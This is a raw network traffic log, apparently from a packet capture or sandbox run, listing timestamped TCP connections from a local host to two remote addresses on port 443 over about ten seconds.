Nov 30, 2024 04:13:43.795054913 CET	49990	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.795066118 CET	443	49990	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.801707029 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.805082083 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.805130959 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.805141926 CET	49986	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.805182934 CET	49986	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.813635111 CET	49986	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.813641071 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.813652039 CET	49986	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.813656092 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.867880106 CET	49991	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.867902040 CET	443	49991	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.867980003 CET	49991	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.871490955 CET	49991	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.871504068 CET	443	49991	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.468868017 CET	443	49987	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.469419003 CET	49987	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.469439030 CET	443	49987	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.470041990 CET	49987	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.470047951 CET	443	49987	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.915091038 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.915656090 CET	49988	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.915672064 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.916217089 CET	49988	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.916224957 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.922286034 CET	443	49987	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.925663948 CET	443	49987	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.925762892 CET	49987	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.925815105 CET	49987	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.925815105 CET	49987	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.925837994 CET	443	49987	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.925853014 CET	443	49987	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.928880930 CET	49992	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.928917885 CET	443	49992	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:44.928985119 CET	49992	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.929116011 CET	49992	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:44.929126978 CET	443	49992	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.358637094 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.362262964 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.362309933 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.362324953 CET	49988	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.362370014 CET	49988	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.362426043 CET	49988	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.362441063 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.362449884 CET	49988	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.362454891 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.366080999 CET	49993	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.366116047 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.366172075 CET	49993	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.366348028 CET	49993	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.366360903 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.573937893 CET	443	49989	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.574651957 CET	49989	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.574676037 CET	443	49989	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.575140953 CET	49989	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.575146914 CET	443	49989	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.638689995 CET	443	49990	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.642602921 CET	49990	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.642617941 CET	443	49990	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.643121958 CET	49990	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.643126965 CET	443	49990	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.719036102 CET	443	49991	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.719554901 CET	49991	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.719572067 CET	443	49991	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:45.720084906 CET	49991	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:45.720088959 CET	443	49991	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.018192053 CET	443	49989	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.021612883 CET	443	49989	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.021661043 CET	443	49989	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.021739006 CET	49989	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.021790028 CET	49989	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.021809101 CET	443	49989	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.021820068 CET	49989	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.021825075 CET	443	49989	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.024940014 CET	49994	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.024974108 CET	443	49994	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.025048971 CET	49994	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.025209904 CET	49994	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.025223017 CET	443	49994	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.094166040 CET	443	49990	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.097318888 CET	443	49990	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.097390890 CET	49990	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.100920916 CET	49990	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.100938082 CET	443	49990	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.100948095 CET	49990	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.100953102 CET	443	49990	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.113286972 CET	49995	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.113301992 CET	443	49995	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.114073038 CET	49995	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.114573956 CET	49995	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.114583969 CET	443	49995	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.172108889 CET	443	49991	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.175640106 CET	443	49991	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.175692081 CET	49991	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.175735950 CET	49991	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.175749063 CET	443	49991	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.181510925 CET	49996	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.181538105 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.181596994 CET	49996	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.181968927 CET	49996	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.181979895 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.647820950 CET	443	49992	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.648581982 CET	49992	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.648605108 CET	443	49992	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:46.649142027 CET	49992	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:46.649146080 CET	443	49992	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.083875895 CET	443	49992	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.083942890 CET	443	49992	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.084033012 CET	49992	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.084311008 CET	49992	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.084331036 CET	443	49992	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.084341049 CET	49992	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.084346056 CET	443	49992	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.087692976 CET	49997	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.087743998 CET	443	49997	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.087836027 CET	49997	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.088021994 CET	49997	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.088037014 CET	443	49997	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.145828962 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.146348000 CET	49993	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.146379948 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.146826982 CET	49993	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.146832943 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.599600077 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.602650881 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.602701902 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.602720022 CET	49993	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.602778912 CET	49993	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.602849960 CET	49993	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.602861881 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.602874041 CET	49993	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.602879047 CET	443	49993	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.605710030 CET	49998	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.605737925 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.605881929 CET	49998	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.606142998 CET	49998	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.606159925 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.805107117 CET	443	49994	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.805677891 CET	49994	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.805705070 CET	443	49994	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.806169033 CET	49994	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.806175947 CET	443	49994	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.892940998 CET	443	49995	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.893456936 CET	49995	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.893479109 CET	443	49995	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:47.893958092 CET	49995	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:47.893963099 CET	443	49995	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.044945955 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.045541048 CET	49996	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.045574903 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.046008110 CET	49996	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.046014071 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.250363111 CET	443	49994	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.255486012 CET	443	49994	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.255557060 CET	49994	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.255605936 CET	49994	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.255625010 CET	443	49994	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.255635023 CET	49994	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.255640030 CET	443	49994	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.258661985 CET	49999	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.258692026 CET	443	49999	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.258759022 CET	49999	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.258908033 CET	49999	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.258920908 CET	443	49999	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.337192059 CET	443	49995	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.340291023 CET	443	49995	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.340373039 CET	49995	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.340389013 CET	49995	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.340403080 CET	443	49995	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.340411901 CET	49995	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.340415955 CET	443	49995	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.344280005 CET	50000	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.344300985 CET	443	50000	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.344422102 CET	50000	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.344573975 CET	50000	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.344583988 CET	443	50000	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.803577900 CET	443	49997	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.805000067 CET	49997	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.805026054 CET	443	49997	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:48.805524111 CET	49997	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:48.805535078 CET	443	49997	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.247004032 CET	443	49997	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.250106096 CET	443	49997	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.250157118 CET	49997	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.250205040 CET	49997	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.250220060 CET	443	49997	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.250240088 CET	49997	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.250246048 CET	443	49997	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.254920959 CET	50001	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.254941940 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.255008936 CET	50001	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.255232096 CET	50001	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.255240917 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.469639063 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.470319033 CET	49998	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.470355034 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.470927000 CET	49998	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.470932961 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.922970057 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.926487923 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.926532984 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.926548958 CET	49998	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.926599979 CET	49998	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.926759958 CET	49998	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.926779985 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.926790953 CET	49998	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.926795959 CET	443	49998	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.929800034 CET	50002	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.929826021 CET	443	50002	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:49.929903984 CET	50002	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.930097103 CET	50002	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:49.930110931 CET	443	50002	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.102607012 CET	443	49999	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.103199005 CET	49999	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.103214979 CET	443	49999	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.103713036 CET	49999	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.103717089 CET	443	49999	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.123491049 CET	443	50000	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.123925924 CET	50000	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.123955011 CET	443	50000	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.124366045 CET	50000	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.124371052 CET	443	50000	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.556139946 CET	443	49999	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.556302071 CET	443	49999	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.556509018 CET	49999	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.556546926 CET	49999	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.556566000 CET	443	49999	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.556574106 CET	49999	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.556581020 CET	443	49999	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.559669971 CET	50003	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.559714079 CET	443	50003	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.559788942 CET	50003	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.559959888 CET	50003	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.559977055 CET	443	50003	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.567555904 CET	443	50000	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.570988894 CET	443	50000	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.571048975 CET	50000	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.571085930 CET	50000	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.571104050 CET	443	50000	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.571114063 CET	50000	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.571119070 CET	443	50000	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.573457003 CET	50004	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.573484898 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.573568106 CET	50004	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.573724031 CET	50004	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.573734999 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.969959021 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.970490932 CET	50001	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.970516920 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:50.970979929 CET	50001	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:50.970983982 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.087002993 CET	443	49981	142.250.181.100	192.168.2.6
Nov 30, 2024 04:13:51.087069988 CET	443	49981	142.250.181.100	192.168.2.6
Nov 30, 2024 04:13:51.087199926 CET	49981	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:13:51.439048052 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.439079046 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.439121008 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.439187050 CET	50001	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:51.439220905 CET	50001	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:51.456348896 CET	50001	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:51.456376076 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.456397057 CET	50001	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:51.456404924 CET	443	50001	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.526568890 CET	50005	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:51.526619911 CET	443	50005	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.526701927 CET	50005	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:51.527086020 CET	50005	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:51.527096987 CET	443	50005	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.764204979 CET	443	50002	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.764722109 CET	50002	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:51.764755011 CET	443	50002	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:51.765213966 CET	50002	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:51.765219927 CET	443	50002	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.209570885 CET	443	50002	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.212557077 CET	443	50002	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.212630033 CET	50002	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.212728977 CET	50002	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.212749004 CET	443	50002	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.212760925 CET	50002	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.212765932 CET	443	50002	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.216273069 CET	50006	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.216325998 CET	443	50006	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.216382980 CET	50006	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.216548920 CET	50006	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.216555119 CET	443	50006	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.339816093 CET	443	50003	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.340517044 CET	50003	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.340532064 CET	443	50003	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.341207981 CET	50003	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.341214895 CET	443	50003	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.356533051 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.356985092 CET	50004	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.357007027 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.357665062 CET	50004	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.357671022 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.428297997 CET	49981	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:13:52.428323030 CET	443	49981	142.250.181.100	192.168.2.6
Nov 30, 2024 04:13:52.783792019 CET	443	50003	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.787014961 CET	443	50003	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.787085056 CET	50003	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.787134886 CET	50003	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.787157059 CET	443	50003	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.787170887 CET	50003	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.787178040 CET	443	50003	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.790488005 CET	50007	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.790525913 CET	443	50007	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.790621042 CET	50007	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.790797949 CET	50007	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.790811062 CET	443	50007	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.803525925 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.803673029 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.803714991 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.803723097 CET	50004	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.803764105 CET	50004	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.803811073 CET	50004	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.803828001 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.803837061 CET	50004	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.803843021 CET	443	50004	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.805949926 CET	50008	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.805985928 CET	443	50008	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:52.806055069 CET	50008	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.806170940 CET	50008	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:52.806185961 CET	443	50008	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.062587023 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.062625885 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.062670946 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.062736988 CET	49996	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.063041925 CET	49996	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.063059092 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.063071012 CET	49996	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.063075066 CET	443	49996	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.066380978 CET	50009	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.066418886 CET	443	50009	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.066505909 CET	50009	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.066688061 CET	50009	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.066699982 CET	443	50009	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.308353901 CET	443	50005	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:53.308950901 CET	50005	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:53.308974981 CET	443	50005	13.107.246.63	192.168.2.6
